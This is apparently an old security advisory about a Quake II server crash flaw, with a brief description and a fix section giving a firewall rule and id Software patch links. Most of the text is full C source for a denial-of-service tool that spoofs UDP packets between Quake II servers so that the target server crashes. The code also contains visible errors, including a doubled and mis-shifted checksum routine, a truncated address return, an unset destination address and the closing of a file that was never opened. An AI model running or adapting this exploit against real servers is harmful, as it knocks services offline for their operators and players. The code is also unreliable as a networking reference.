COMMAND
Quake II
SYSTEMS AFFECTED
Quake II servers
PROBLEM
'profound darkness' posted following and it is a followup to
Quake II #1 bug in this sextion. In addition to the spoofed udp
packets of 127.0.0.1, the attacker can also spoof udp packets to
the Quake II server port from another Quake II server with the
originating port the same as the Quake II server.
This will make the target server ask for a connection from the
spoofed Quake II server and the spoofed Quake II server will
accept therefore sending a Connect $ making Quake II crash. Below
is included source code to exploit this vulnerability. Thanks go
out to Jordy for comming up with the idea for the fix.
/*
Eclipse
Quake II Denial of Service II
Code by profound darkness <peedee@fuente.sventech.com>
*/
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_udp.h>
#include <netinet/in_systm.h>
#include <netinet/protocols.h>
FILE *hemroids;
struct iphdr *ip;
struct udphdr *udp;
struct sockaddr_in sinner;
unsigned long destination;
char *packet;
int flag;
void usage(char *proggy) {
printf("\nUsage: %s <argument> <argument> <argument> <argument>\n\n", proggy);
printf(" <argument> : Quake II server to spoof\n");
printf(" <argument> : Port to send udp packets to\n");
printf(" <argument> : Number of packets to send\n");
printf(" <argument> : Quake II server to crash\n\n");
exit(0);
}
char lookup(char *hostaddy) {
struct hostent *he;
he = gethostbyname(hostaddy);
if (he) {
memset(&sinner, 0, sizeof(struct sockaddr_in));
memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length);
sinner.sin_family = AF_INET;
sinner.sin_addr.s_addr = inet_addr(hostaddy);
sinner.sin_family = he->h_addrtype;
} else {
printf("\"%s\" is an unknown hostname.\n", hostaddy);
flag = 1;
return 0;
}
return ((unsigned long) he->h_addr);
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int lenny = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (lenny > 1) {
sum += *w++;
sum += *w++;
lenny -= 2;
}
if (lenny == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}
void buildpacket(char *monster, int dport, int sport, int numpacks, char *sourceguy) {
int sock, counter;
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip = (struct iphdr *) packet;
udp = (struct udphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip->saddr = lookup(sourceguy);
ip->daddr = destination;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(sport);
udp->dest = htons(dport);
udp->len = htons(sizeof(struct udphdr) + 1024);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
for(counter=0;counter!=numpacks;counter++) {
if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, sizeof(struct sockaddr_in)) == (-1)) {
perror("SendPacket");
exit(0);
}
usleep(1);
}
}
char main(int argc, char *argv[]) {
int count, sender;
char hostmask[100];
if (argc < 5) usage(argv[0]);
if (getuid()!=0) {
printf("This program requires root.\n");
exit(0);
}
printf("Attempting to resolve %s.\n", argv[1]);
lookup(argv[1]);
printf("Attempting to resolve %s.\n", argv[4]);
lookup(argv[4]);
if(flag == 1) goto doot;
printf("Building %s packets & sending to %s:%s from %s:%s!\n", argv[3], argv[4], argv[2], argv[1], argv[2]);
buildpacket(argv[4], atoi(argv[2]), atoi(argv[2]), atoi(argv[3]), argv[1]);
doot:
if(flag != 1) {
printf("Thanks for using eclipse!\n\n");
}
fclose(hemroids);
exit(0);
}
SOLUTION
For a temporary fix you could firewall all connectiontions comming
to your computer on port 27910 with a source port of 27910 or
other similar Quake II ports. The patch has been released by ID:
ftp://ftp.idsoftware.com/idstuff/quake2/patch_08.zip
Actually, there are two patches. The patch_07.zip was intended to
fix the crash exploit and some other bugs while the patch_08.zip
was released to fix the things that the patch_07.zip broke. You
can skip from one 3.0.06 to 3.0.08 with no problems since it
completely replaces the quake2.exe and 3 dll files. However,
there are still conectivity issues after the patches are applied.